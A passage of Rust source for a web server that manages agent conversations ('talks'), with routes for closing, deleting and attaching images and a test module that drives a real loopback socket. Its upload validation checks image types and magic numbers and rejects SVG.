6153            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6154            Ok(talk)
6155        })
6156        .await
6157    };
6158    // A `/say` that landed while this held the claim saw the talk busy and
6159    // left a durable draft, trusting the claim's owner to drain it. So the
6160    // claim goes to `drain_loop` whatever the outcome - it releases at once
6161    // when nothing is queued - rather than being dropped here.
6162    let fresh = {
6163        let ui = Arc::clone(&ui);
6164        let id = id.clone();
6165        blocking(move || Ok(ui.talks.get(&id)?)).await
6166    };
6167    let draining = match fresh {
6168        Ok(talk) => {
6169            let draining = talk.status.open()
6170                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6171            let talks = ui.talks.clone();
6172            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6173            draining
6174        }
6175        Err(_) => false,
6176    };
6177    let talk = switched?;
6178    Ok(Json(TalkView::new(talk, draining)))
6179}
6180
6181/// `POST /api/talks/{id}/close`.
6182async fn talk_close(
6183    State(ui): State<Arc<Ui>>,
6184    Path(id): Path<String>,
6185) -> ApiResult<Json<TalkView>> {
6186    blocking(move || {
6187        let id = resolve_talk(&ui.talks, &id)?;
6188        let mut talk = ui.talks.get(&id)?;
6189        talk::close(&mut talk, &ui.talks)?;
6190        let thinking = ui.is_thinking(&talk.id);
6191        Ok(Json(TalkView::new(talk, thinking)))
6192    })
6193    .await
6194}
6195
6196/// `POST /api/talks/{id}/reopen`.
6197async fn talk_reopen(
6198    State(ui): State<Arc<Ui>>,
6199    Path(id): Path<String>,
6200) -> ApiResult<Json<TalkView>> {
6201    blocking(move || {
6202        let id = resolve_talk(&ui.talks, &id)?;
6203        let mut talk = ui.talks.get(&id)?;
6204        talk::reopen(&mut talk, &ui.talks)?;
6205        let thinking = ui.is_thinking(&talk.id);
6206        Ok(Json(TalkView::new(talk, thinking)))
6207    })
6208    .await
6209}
6210
6211/// `DELETE /api/talks/{id}`.
6212///
6213/// Removes the conversation's record and artifacts outright, unlike
6214/// [`talk_close`] which keeps the record as history. A turn already in
6215/// flight is not refused here the way [`run_delete`] refuses a live run:
6216/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
6217/// under [`Talks::guard`], that the record they are about to write back is
6218/// still there, so a delete racing a turn is safe without this route having
6219/// to know a turn is running at all.
6220async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6221    blocking(move || {
6222        let id = resolve_talk(&ui.talks, &id)?;
6223        ui.talks.remove(&id)?;
6224        Ok(StatusCode::NO_CONTENT)
6225    })
6226    .await
6227}
6228
6229/// Expand an id or short id to exactly one talk id.
6230fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6231    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6232}
6233
6234/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
6235/// future `talk-say`.
6236async fn talk_attachment_post(
6237    State(ui): State<Arc<Ui>>,
6238    Path(id): Path<String>,
6239    headers: HeaderMap,
6240    body: Bytes,
6241) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6242    let mime = validate_attachment(&headers, &body)?;
6243    let name = filename_header(&headers);
6244    let data = body.to_vec();
6245    blocking(move || {
6246        let id = resolve_talk(&ui.talks, &id)?;
6247        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6248        Ok((StatusCode::CREATED, Json(att)))
6249    })
6250    .await
6251}
6252
6253/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
6254/// `<img>` tag in the transcript.
6255async fn talk_attachment_get(
6256    State(ui): State<Arc<Ui>>,
6257    Path((id, att)): Path<(String, String)>,
6258) -> ApiResult<Response> {
6259    blocking(move || {
6260        let id = resolve_talk(&ui.talks, &id)?;
6261        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6262            return Err(ApiError::not_found(format!(
6263                "talk {id} has no attachment `{att}`"
6264            )));
6265        };
6266        Ok(attachment_response(&meta.mime, data))
6267    })
6268    .await
6269}
6270
6271/// Validate an attachment upload's declared `Content-Type` and the bytes
6272/// themselves, returning the canonical mime on success.
6273///
6274/// Two checks, both required: the header has to name one of
6275/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
6276/// simply never in the list, active content rather than a picture, the same
6277/// exclusion [`asset_content_type`]'s doc explains), and the file's own
6278/// magic number has to agree. The second is what stops a mislabeled upload -
6279/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
6280/// a declared type is a claim, not a fact, so it is never trusted alone.
6281fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6282    if data.len() > ATTACHMENT_MAX_BYTES {
6283        return Err(ApiError::bad_request(format!(
6284            "attachment is {} bytes, over the {} MiB limit",
6285            data.len(),
6286            ATTACHMENT_MAX_BYTES / (1024 * 1024)
6287        ))
6288        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6289    }
6290    if data.is_empty() {
6291        return Err(ApiError::bad_request("attachment is empty"));
6292    }
6293    let declared = declared_mime(headers)?;
6294    match sniffed_mime(data) {
6295        Some(sniffed) if sniffed == declared => Ok(declared),
6296        Some(sniffed) => Err(ApiError::bad_request(format!(
6297            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6298        ))),
6299        None => Err(ApiError::bad_request(
6300            "the file's bytes do not match any accepted image format",
6301        )),
6302    }
6303}
6304
6305/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
6306/// and nothing else - parameters like `; charset=` are stripped, but the
6307/// value itself is not otherwise interpreted.
6308fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6309    let raw = headers
6310        .get(header::CONTENT_TYPE)
6311        .and_then(|v| v.to_str().ok())
6312        .unwrap_or("")
6313        .split(';')
6314        .next()
6315        .unwrap_or("")
6316        .trim()
6317        .to_ascii_lowercase();
6318    ATTACHMENT_MIME_WHITELIST
6319        .iter()
6320        .find(|&&m| m == raw)
6321        .copied()
6322        .ok_or_else(|| {
6323            if raw == "image/svg+xml" {
6324                ApiError::bad_request(
6325                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
6326                     not just a picture",
6327                )
6328            } else if raw.is_empty() {
6329                ApiError::bad_request("Content-Type is required for an attachment upload")
6330            } else {
6331                ApiError::bad_request(format!(
6332                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6333                     image/gif or image/webp"
6334                ))
6335            }
6336        })
6337}
6338
6339/// Identify an image by its magic number, independent of whatever
6340/// `Content-Type` claimed.
6341fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6342    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6343        Some("image/png")
6344    } else if data.starts_with(b"\xff\xd8\xff") {
6345        Some("image/jpeg")
6346    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6347        Some("image/gif")
6348    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6349        Some("image/webp")
6350    } else {
6351        None
6352    }
6353}
6354
6355/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
6356/// display - see [`talk::Attachment::name`]'s doc on why it never
6357/// contributes to a path. A missing or blank header (curl without it, an
6358/// older front end) falls back to a generic name rather than refusing the
6359/// upload over a field that is cosmetic.
6360fn filename_header(headers: &HeaderMap) -> String {
6361    headers
6362        .get(FILENAME_HEADER)
6363        .and_then(|v| v.to_str().ok())
6364        .map(str::trim)
6365        .filter(|s| !s.is_empty())
6366        .unwrap_or("attachment")
6367        .to_owned()
6368}
6369
6370/// Every attachment `GET` response: the mime re-validated against the same
6371/// closed whitelist the upload route enforces - never the string trusted
6372/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
6373/// cannot decide it knows better than the type we send. Unlike a panel asset
6374/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
6375/// document renders inline, not agent-authored HTML in a sandboxed frame.
6376fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6377    let content_type = ATTACHMENT_MIME_WHITELIST
6378        .iter()
6379        .find(|&&m| m == mime)
6380        .copied()
6381        .unwrap_or("application/octet-stream");
6382    (
6383        [
6384            (header::CONTENT_TYPE, content_type),
6385            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6386        ],
6387        body,
6388    )
6389        .into_response()
6390}
6391
6392/// The configuration for a repository, read off the disk for this request.
6393///
6394/// Through [`blocking`] because discovery reads and merges several TOML files,
6395/// and because the alternative - caching it in [`Ui`] at startup - would mean
6396/// the operator's phone kept interviewing with a roster they had already
6397/// changed, with no way to reload it but restarting the server they are not
6398/// sitting in front of.
6399async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6400    let repo = repo.to_path_buf();
6401    blocking(move || {
6402        let (cfg, _) = Config::discover(&repo, None)?;
6403        Ok(cfg)
6404    })
6405    .await
6406}
6407
6408/// The one prefix rule, used for both runs and tasks: a leading match for a
6409/// full id, a trailing match for the short form an operator reads off a
6410/// report. Written here rather than borrowed from `queue::resolve_id` because
6411/// the UI needs the two failures as different status codes, and telling them
6412/// apart from an error message is not something to build a route on.
6413fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6414    let mut hits = ids
6415        .into_iter()
6416        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6417    match (hits.next(), hits.next()) {
6418        (Some(one), None) => Ok(one),
6419        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6420        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6421            "`{prefix}` matches more than one {what}, including {a} and {b}"
6422        ))),
6423    }
6424}
6425
6426#[cfg(test)]
6427mod tests {
6428
6429    #[test]
6430    fn holder_reads_the_lease_not_the_record() {
6431        let mut q = Question::new(
6432            "run".to_owned(),
6433            "implement".to_owned(),
6434            "impl-A".to_owned(),
6435            "which?".to_owned(),
6436            String::new(),
6437            Vec::new(),
6438        );
6439        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6440        q.cwd = Some("/tmp".to_owned());
6441        assert_eq!(holder_of(&q, None), Some("nobody"));
6442        let beat = |kind, ago: i64| ask::Lease {
6443            kind,
6444            pid: 1,
6445            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6446                .unwrap(),
6447        };
6448        let fresh = beat(ask::WaiterKind::Asker, 1);
6449        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6450        let daemon = beat(ask::WaiterKind::Daemon, 1);
6451        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6452        let stale = beat(ask::WaiterKind::Asker, 3600);
6453        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6454
6455        // A conductor question says "deputy" only while one is attached and
6456        // alive, and "nobody" - never silence - when nothing ever listened.
6457        let mut c = Question::new(
6458            "task".to_owned(),
6459            crate::conduct::NODE.to_owned(),
6460            "conduct".to_owned(),
6461            "which?".to_owned(),
6462            String::new(),
6463            Vec::new(),
6464        );
6465        assert_eq!(holder_of(&c, None), Some("nobody"));
6466        c.cwd = Some("/tmp".to_owned());
6467        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6468        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6469        let deputy = beat(ask::WaiterKind::Deputy, 1);
6470        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6471        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6472
6473        // A release-watch question: nobody until a deputy is attached.
6474        let mut r = Question::new(
6475            String::new(),
6476            crate::bump::NOTICE_NODE.to_owned(),
6477            "release-watch".to_owned(),
6478            "stuck?".to_owned(),
6479            String::new(),
6480            vec!["hold".to_owned()],
6481        );
6482        assert_eq!(holder_of(&r, None), Some("nobody"));
6483        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6484        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6485        // A choice-less bump notice is nobody's question at all.
6486        r.deputy = None;
6487        r.seat = "bump".to_owned();
6488        assert_eq!(holder_of(&r, None), None);
6489
6490        // A merge approval is the same: nobody until a deputy is attached
6491        // and alive, never a silent "no holder".
6492        let mut m = Question::new(
6493            "run".to_owned(),
6494            crate::land::APPROVAL_NODE.to_owned(),
6495            "land".to_owned(),
6496            "merge?".to_owned(),
6497            String::new(),
6498            Vec::new(),
6499        );
6500        assert_eq!(holder_of(&m, None), Some("nobody"));
6501        assert_eq!(
6502            holder_of(&m, Some(&fresh)),
6503            Some("nobody"),
6504            "a lease with no deputy is not a listener"
6505        );
6506        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6507        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6508        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6509        assert_eq!(holder_of(&m, None), Some("nobody"));
6510    }
6511
6512    fn stub_config() -> Config {
6513        // An explicit roster, so the result never depends on which agent CLIs
6514        // this machine has installed.
6515        Config {
6516            agents: vec![crate::config::AgentSpec {
6517                id: "stub".to_owned(),
6518                kind: AgentKind::Command,
6519                model: None,
6520                command: vec!["true".to_owned()],
6521                extra_args: Vec::new(),
6522                env: Default::default(),
6523                prompt_delivery: None,
6524            }],
6525            ..Config::default()
6526        }
6527    }
6528
6529    fn plain_question(seat: &str) -> Question {
6530        Question::new(
6531            String::new(),
6532            "n".to_owned(),
6533            seat.to_owned(),
6534            "s".to_owned(),
6535            String::new(),
6536            Vec::new(),
6537        )
6538    }
6539
6540    #[test]
6541    fn deputies_enabled_follows_the_config() {
6542        let on = stub_config();
6543        assert!(crate::deputy::can_start(Some(&on), ""));
6544        assert!(crate::deputy::can_start(Some(&on), "stub"));
6545        let mut off = on.clone();
6546        off.daemon.max_deputies = 0;
6547        assert!(!crate::deputy::can_start(Some(&off), ""));
6548        let mut empty = on;
6549        empty.agents.clear();
6550        assert!(!crate::deputy::can_start(Some(&empty), ""));
6551        assert!(!crate::deputy::can_start(None, ""));
6552    }
6553
6554    #[test]
6555    fn question_views_load_the_config_once() {
6556        let dir = TempDir::new().unwrap();
6557        let store = ask::Questions::at(dir.path().to_path_buf());
6558        let mut with_deputy = plain_question("b");
6559        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6560        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6561
6562        let calls = std::cell::Cell::new(0usize);
6563        let views = question_views(qs.clone(), &store, || {
6564            calls.set(calls.get() + 1);
6565            Some(stub_config())
6566        });
6567        assert_eq!(calls.get(), 1);
6568        assert_eq!(views.len(), 3);
6569        for (v, q) in views.iter().zip(&qs) {
6570            assert_eq!(
6571                v.deputies_enabled,
6572                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6573            );
6574        }
6575
6576        let views = question_views(qs, &store, || None);
6577        assert!(views.iter().all(|v| !v.deputies_enabled));
6578
6579        let calls = std::cell::Cell::new(0usize);
6580        let views = question_views(Vec::new(), &store, || {
6581            calls.set(calls.get() + 1);
6582            None
6583        });
6584        assert!(views.is_empty());
6585        assert_eq!(calls.get(), 0);
6586    }
6587
6588    use pretty_assertions::assert_eq;
6589    use serde_json::Value;
6590    use tempfile::TempDir;
6591    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6592
6593    use super::*;
6594    use crate::config::Config;
6595    use crate::queue::Source;
6596
6597    /// How many 10ms steps a settle loop takes before it calls a stall a
6598    /// stall - thirty seconds.
6599    ///
6600    /// These loops wait on real `sh` subprocesses, and the machine that runs
6601    /// the gate runs several suites at once, so a two-second budget was not
6602    /// waiting for the reply, it was racing the scheduler: two of these
6603    /// tests failed under that load with the turn simply not landed yet.
6604    /// This is a hang guard, not a latency assertion - every loop breaks the
6605    /// moment its condition holds, so a generous cap costs an idle machine
6606    /// nothing and still fails a genuine hang instead of hanging the suite.
6607    const SETTLE_STEPS: usize = 3_000;
6608
6609    /// A home with a queue and a runs directory, and a router serving it on
6610    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
6611    /// dependency, not ours - so the tests drive a real socket, which has the
6612    /// side benefit of asserting the status line and content types the phone
6613    /// actually receives.
6614    struct Fixture {
6615        home: TempDir,
6616        addr: SocketAddr,
6617    }
6618
6619    impl Fixture {
6620        async fn start() -> Self {
6621            Self::with_loop(launch_idle).await
6622        }
6623
6624        /// A fixture whose loop is `launch`.
6625        async fn with_loop(launch: Launch) -> Self {
6626            let home = TempDir::new().expect("temp home");
6627            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6628            Self { home, addr }
6629        }
6630
6631        /// A fixture whose `ui.repo` is a real directory rather than the
6632        /// usual placeholder - for the routes that read config off it
6633        /// (`GET /api/repos`) and would otherwise have nothing to discover.
6634        async fn with_repo(repo: PathBuf) -> Self {
6635            let home = TempDir::new().expect("temp home");
6636            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6637            Self { home, addr }
6638        }
6639
6640        /// As [`Fixture::with_repo`], with the machine-config file the
6641        /// settings screen reads and writes.
6642        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6643            let home = TempDir::new().expect("temp home");
6644            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6645            Self { home, addr }
6646        }
6647
6648        async fn serve(
6649            home: &FsPath,
6650            repo: PathBuf,
6651            launch: Launch,
6652            machine: Option<PathBuf>,
6653        ) -> SocketAddr {
6654            let queue = Queue::at(home.join("queue"));
6655            let runs = home.join("runs");
6656            std::fs::create_dir_all(&runs).expect("runs dir");
6657            let worktrees = home.join("wt").join("magi");
6658            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6659            let ui = Ui::new(
6660                queue,
6661                Questions::at(home.join("questions")),
6662                Talks::at(home.join("talks")),
6663                runs,
6664                home.to_path_buf(),
6665                repo,
6666            )
6667            .with_worktrees_root(worktrees)
6668            .with_machine_config(machine)
6669            .with_launch(launch);
6670            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6671                .await
6672                .expect("bind loopback");
6673            let addr = listener.local_addr().expect("local addr");
6674            tokio::spawn(async move {
6675                let _ = axum::serve(listener, ui.router()).await;
6676            });
6677            addr
6678        }
6679
6680        fn queue(&self) -> Queue {
6681            Queue::at(self.home.path().join("queue"))
6682        }
6683
6684        fn questions(&self) -> Questions {
6685            Questions::at(self.home.path().join("questions"))
6686        }
6687
6688        fn talks(&self) -> Talks {
6689            Talks::at(self.home.path().join("talks"))
6690        }
6691
6692        fn runs(&self) -> PathBuf {
6693            self.home.path().join("runs")
6694        }
6695
6696        async fn get(&self, path: &str) -> Res {
6697            request(self.addr, "GET", path, None).await
6698        }
6699
6700        /// The status and headers without the body, which is how the front end
6701        /// preflights a panel: a sandboxed frame is opaque to the parent
6702        /// document, so the only way to tell "no panel" from "a panel that
6703        /// rendered blank" is to ask before mounting.
6704        async fn head(&self, path: &str) -> Res {
6705            request(self.addr, "HEAD", path, None).await
6706        }
6707
6708        async fn post(&self, path: &str, body: Option<&str>) -> Res {
6709            request(self.addr, "POST", path, body).await
6710        }
6711
6712        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6713            request_with(self.addr, "GET", path, None, extra).await
6714        }
6715
6716        async fn delete(&self, path: &str) -> Res {
6717            request(self.addr, "DELETE", path, None).await
6718        }
6719
6720        async fn put(&self, path: &str, body: &str) -> Res {
6721            request(self.addr, "PUT", path, Some(body)).await
6722        }
6723
6724        /// `POST` a raw body with its own headers - see [`request_bytes`].
6725        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6726            request_bytes(self.addr, path, headers, body).await
6727        }
6728    }
6729
6730    struct Res {
6731        status: u16,
6732        headers: String,
6733        /// The header block with its original casing, for the assertions that
6734        /// compare a header *value* rather than looking for a name. Lowercasing
6735        /// a CSP would hide a directive spelled with a capital letter, and the
6736        /// whole point of that test is that the string is exactly right.
6737        head: String,
6738        body: String,
6739        /// The body before any UTF-8 handling, for the routes that serve
6740        /// something other than text. A panel asset is a PNG as often as not,
6741        /// and `from_utf8_lossy` would silently replace half of it.
6742        bytes: Vec<u8>,
6743    }
6744
6745    impl Res {
6746        fn json(&self) -> Value {
6747            serde_json::from_str(&self.body)
6748                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6749        }
6750
6751        /// One header's value verbatim, or `None` when it was not sent.
6752        fn header(&self, name: &str) -> Option<&str> {
6753            self.head.lines().find_map(|line| {
6754                let (key, value) = line.split_once(':')?;
6755                key.trim()
6756                    .eq_ignore_ascii_case(name)
6757                    .then(|| value.trim_start().trim_end_matches('\r'))
6758            })
6759        }
6760    }
6761
6762    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
6763    /// be read to end-of-stream without parsing framing.
6764    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6765        request_with(addr, method, path, body, &[]).await
6766    }
6767
6768    /// As [`request`], with extra request headers - conditional GETs need
6769    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
6770    /// worse than one that sets none.
6771    async fn request_with(
6772        addr: SocketAddr,
6773        method: &str,
6774        path: &str,
6775        body: Option<&str>,
6776        extra: &[(&str, &str)],
6777    ) -> Res {
6778        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6779        for (name, value) in extra {
6780            head.push_str(&format!("{name}: {value}\r\n"));
6781        }
6782        if let Some(body) = body {
6783            head.push_str("Content-Type: application/json\r\n");
6784            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6785        }
6786        head.push_str("\r\n");
6787        if let Some(body) = body {
6788            head.push_str(body);
6789        }
6790        let mut socket = tokio::net::TcpStream::connect(addr)
6791            .await
6792            .expect("connect to the test server");
6793        socket
6794            .write_all(head.as_bytes())
6795            .await
6796            .expect("write request");
6797        let mut raw = Vec::new();
6798        socket.read_to_end(&mut raw).await.expect("read response");
6799        // Split on the raw bytes rather than on a lossy string, so a binary
6800        // body survives to be compared byte for byte.
6801        let split = raw
6802            .windows(4)
6803            .position(|w| w == b"\r\n\r\n")
6804            .expect("a header block");
6805        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6806        let bytes = raw[split + 4..].to_vec();
6807        let status = head
6808            .lines()
6809            .next()
6810            .and_then(|line| line.split_whitespace().nth(1))
6811            .and_then(|code| code.parse().ok())
6812            .expect("a status line");
6813        Res {
6814            status,
6815            headers: head.to_lowercase(),
6816            head,
6817            body: String::from_utf8_lossy(&bytes).into_owned(),
6818            bytes,
6819        }
6820    }
6821
6822    /// A `POST` carrying a raw binary body and its own headers, for the
6823    /// attachment upload route - `request_with` only ever sends
6824    /// `Content-Type: application/json`, which is wrong for an image and
6825    /// would corrupt anything not valid UTF-8 by round-tripping it through
6826    /// `&str` first.
6827    async fn request_bytes(
6828        addr: SocketAddr,
6829        path: &str,
6830        headers: &[(&str, &str)],
6831        body: &[u8],
6832    ) -> Res {
6833        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6834        for (name, value) in headers {
6835            head.push_str(&format!("{name}: {value}\r\n"));
6836        }
6837        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
6838        let mut socket = tokio::net::TcpStream::connect(addr)
6839            .await
6840            .expect("connect to the test server");
6841        socket
6842            .write_all(head.as_bytes())
6843            .await
6844            .expect("write request head");
6845        socket.write_all(body).await.expect("write request body");
6846        let mut raw = Vec::new();
6847        socket.read_to_end(&mut raw).await.expect("read response");
6848        let split = raw
6849            .windows(4)
6850            .position(|w| w == b"\r\n\r\n")
6851            .expect("a header block");
6852        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6853        let bytes = raw[split + 4..].to_vec();
6854        let status = head
6855            .lines()
6856            .next()
6857            .and_then(|line| line.split_whitespace().nth(1))
6858            .and_then(|code| code.parse().ok())
6859            .expect("a status line");
6860        Res {
6861            status,
6862            headers: head.to_lowercase(),
6863            head,
6864            body: String::from_utf8_lossy(&bytes).into_owned(),
6865            bytes,
6866        }
6867    }
6868
6869    /// A run on disk, without touching the process-global magi home.
6870    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
6871        let mut state = RunState::new(
6872            PathBuf::from("/repo/magi"),
6873            "main".to_owned(),
6874            "0123456789abcdef".to_owned(),
6875            "Add a web UI\n\nMobile first.".to_owned(),
6876            Config::default(),
6877        );
6878        state.id = id.to_owned();
6879        state.status = status;
6880        let dir = runs.join(id);
6881        std::fs::create_dir_all(&dir).expect("run dir");
6882        std::fs::write(
6883            dir.join("run.json"),
6884            serde_json::to_string_pretty(&state).expect("serialize run"),
6885        )
6886        .expect("write run.json");
6887    }
6888
6889    /// Same as [`write_run`], but against a named repository rather than the
6890    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
6891    /// spread across more than one.
6892    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
6893        let mut state = RunState::new(
6894            PathBuf::from(repo),
6895            "main".to_owned(),
6896            "0123456789abcdef".to_owned(),
6897            "task".to_owned(),
6898            Config::default(),
6899        );
6900        state.id = id.to_owned();
6901        state.status = status;
6902        let dir = runs.join(id);
6903        std::fs::create_dir_all(&dir).expect("run dir");
6904        std::fs::write(
6905            dir.join("run.json"),
6906            serde_json::to_string_pretty(&state).expect("serialize run"),
6907        )
6908        .expect("write run.json");
6909    }
6910
6911    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
6912        let body = serde_json::json!({
6913            "schema": 1,
6914            "pid": 4242,
6915            "started_at": Timestamp::now().to_string(),
6916            "updated_at": updated_at.to_string(),
6917            "idle": false,
6918            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
6919            "completed": 7,
6920            "polls": 143,
6921        });
6922        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
6923    }
6924
6925    /// A loop that starts, finds nothing to do, and waits to be told to stop.
6926    ///
6927    /// No test in this file may start the real loop - see [`Ui::launch`] for
6928    /// why - so this stands in for the only thing the routes need a loop to
6929    /// do: keep running until `Stop` is set, then return. A real
6930    /// `serve_until` here would resolve its queue and its status file through
6931    /// the process-global magi home, claim whatever it found in the
6932    /// operator's live backlog, overwrite the status file of the `magi serve`
6933    /// that owns it, and spend real agent quota on a real competition.
6934    fn launch_idle(
6935        _opts: daemon::Opts,
6936        stop: daemon::Stop,
6937    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6938        Box::pin(async move {
6939            while !stop.stopped() {
6940                tokio::time::sleep(Duration::from_millis(2)).await;
6941            }
6942            Ok(())
6943        })
6944    }
6945
6946    /// A loop that fails on the way up, the way one whose home has gone
6947    /// read-only does.
6948    fn launch_broken(
6949        _opts: daemon::Opts,
6950        _stop: daemon::Stop,
6951    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6952        Box::pin(async {
6953            Err(anyhow::anyhow!(
6954                "publish the daemon status file: read-only file system"
6955            ))
6956        })
6957    }
6958
6959    /// The address the parking loop knocks on, and what it heard there.
6960    ///
6961    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
6962    /// capture a fixture's address; this is how it is handed one. Only
6963    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
6964    /// these, so nothing else in this binary can race them.
6965    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
6966    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
6967
6968    /// A loop that, once it is asked to stop, checks the deck still answers
6969    /// before it goes.
6970    ///
6971    /// It stands in for a run mid-node: `finish_loop` waits for this future,
6972    /// so the request it makes is strictly inside the park window - no sleep
6973    /// and no polling needed to be sure of that.
6974    fn launch_knocking_on_the_way_out(
6975        _opts: daemon::Opts,
6976        stop: daemon::Stop,
6977    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6978        Box::pin(async move {
6979            while !stop.stopped() {
6980                tokio::time::sleep(Duration::from_millis(2)).await;
6981            }
6982            let addr = PARK_KNOCK
6983                .lock()
6984                .expect("park knock")
6985                .expect("the test set an address");
6986            let heard = request(addr, "GET", "/api/health", None).await.status;
6987            *PARK_HEARD.lock().expect("park heard") = Some(heard);
6988            Ok(())
6989        })
6990    }
6991
6992    /// The loop view once `want` accepts it.
6993    ///
6994    /// Polled rather than asserted straight after the POST because stopping
6995    /// is deliberately not instant - that is the contract - and rather than
6996    /// slept through because a fixed wait is either flaky or slow.
6997    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
6998    /// finite, so a genuine hang fails the test instead of hanging the
6999    /// suite.
7000    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7001        for _ in 0..SETTLE_STEPS {
7002            let view = fx.get("/api/loop").await.json();
7003            if want(&view) {
7004                return view;
7005            }
7006            tokio::time::sleep(Duration::from_millis(10)).await;
7007        }
7008        panic!(
7009            "the loop never settled: {}",
7010            fx.get("/api/loop").await.json()
7011        );
7012    }
7013
7014    /// File an open question directly in the store the server reads.
7015    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7016        let store = fx.questions();
7017        let mut q = Question::new(
7018            "20260902-000000-beef".to_owned(),
7019            "implement".to_owned(),
7020            "impl-A".to_owned(),
7021            summary.to_owned(),
7022            "because it matters".to_owned(),
7023            choices.iter().map(|c| (*c).to_owned()).collect(),
7024        );
7025        store.put(&mut q).expect("put question");
7026        q.id
7027    }
7028
7029    /// A question with a panel the server can serve, plus the named assets.
7030    ///
7031    /// Written through `Questions::put_panel` rather than by laying out the
7032    /// directory here, so these tests exercise the same on-disk shape the
7033    /// agents produce and cannot pass against a layout only the tests know.
7034    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7035        let store = fx.questions();
7036        let mut q = Question::new(
